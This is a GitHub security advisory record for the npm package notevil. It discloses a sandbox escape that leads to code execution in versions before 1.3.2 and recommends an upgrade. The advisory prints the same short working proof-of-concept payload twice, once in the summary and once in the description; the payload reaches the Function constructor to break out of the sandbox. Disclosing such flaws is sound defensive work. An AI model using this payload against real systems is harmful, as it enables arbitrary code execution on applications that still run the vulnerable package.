{"id":"GHSA-7r5f-7qr4-pf6q","aliases":["GHSA-7r5f-7qr4-pf6q"],"related":[],"kind":"vulnerability","state":"published","title":"Sandbox Breakout / Arbitrary Code Execution in notevil","summary":"Versions of `notevil` prior to 1.3.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to prevent access to the `Function` constructor by not checking the return values of function calls. This allows attackers to access the Function prototype's constructor leading to the Sandbox Escape. An example payload is:  \n```\nvar safeEval = require('notevil')\nvar input = \"\" + \n\"function fn() {};\" + \n\"var constructorProperty = Object.getOwnPropertyDescriptors(fn.__proto__).constructor;\" + \n\"var properties = Object.values(constructorProperty);\" + \n\"properties.pop();\" + \n\"properties.pop();\" + \n\"properties.pop();\" + \n\"var Function = properties.pop();\" + \n\"(Function('return this'))()\"; \nsafeEval(input)```\n\n\n## Recommendation\n\nUpgrade to version 1.3.2 or later.","summaryFormat":"markdown","summarySource":"ghsa","descriptions":[{"lang":"en","text":"Versions of `notevil` prior to 1.3.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to prevent access to the `Function` constructor by not checking the return values of function calls. This allows attackers to access the Function prototype's constructor leading to the Sandbox Escape. An example payload is:  \n```\nvar safeEval = require('notevil')\nvar input = \"\" + \n\"function fn() {};\" + \n\"var constructorProperty = Object.getOwnPropertyDescriptors(fn.__proto__).constructor;\" + \n\"var properties = Object.values(constructorProperty);\" + \n\"properties.pop();\" + \n\"properties.pop();\" + \n\"properties.pop();\" + \n\"var Function = properties.pop();\" + \n\"(Function('return this'))()\"; \nsafeEval(input)```\n\n\n## Recommendation\n\nUpgrade to version 1.3.2 or later.","format":"markdown","source":"ghsa"}],"published":"2020-09-03T19:03:33.000Z","modified":"2020-08-31T18:47:00.000Z","severity":{"scorer":"GitHub","scheme":"rating","rating":"HIGH"},"severities":[{"scorer":"GitHub","scheme":"rating","rating":"HIGH"}],"cwes":[],"affected":[{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.3.2"}],"ecosystem":"npm","package":"notevil","purl":"pkg:npm/notevil","source":"ghsa"}],"references":[{"url":"https://www.npmjs.com/advisories/1093","tags":["web"],"sources":["ghsa"]}],"credits":[],"sources":[{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-7r5f-7qr4-pf6q","url":"https://github.com/advisories/GHSA-7r5f-7qr4-pf6q","licence":"CC-BY-4.0","modified":"2020-08-31T18:47:00.000Z"}],"updatedAt":"2026-11-25T22:56:44.588Z"}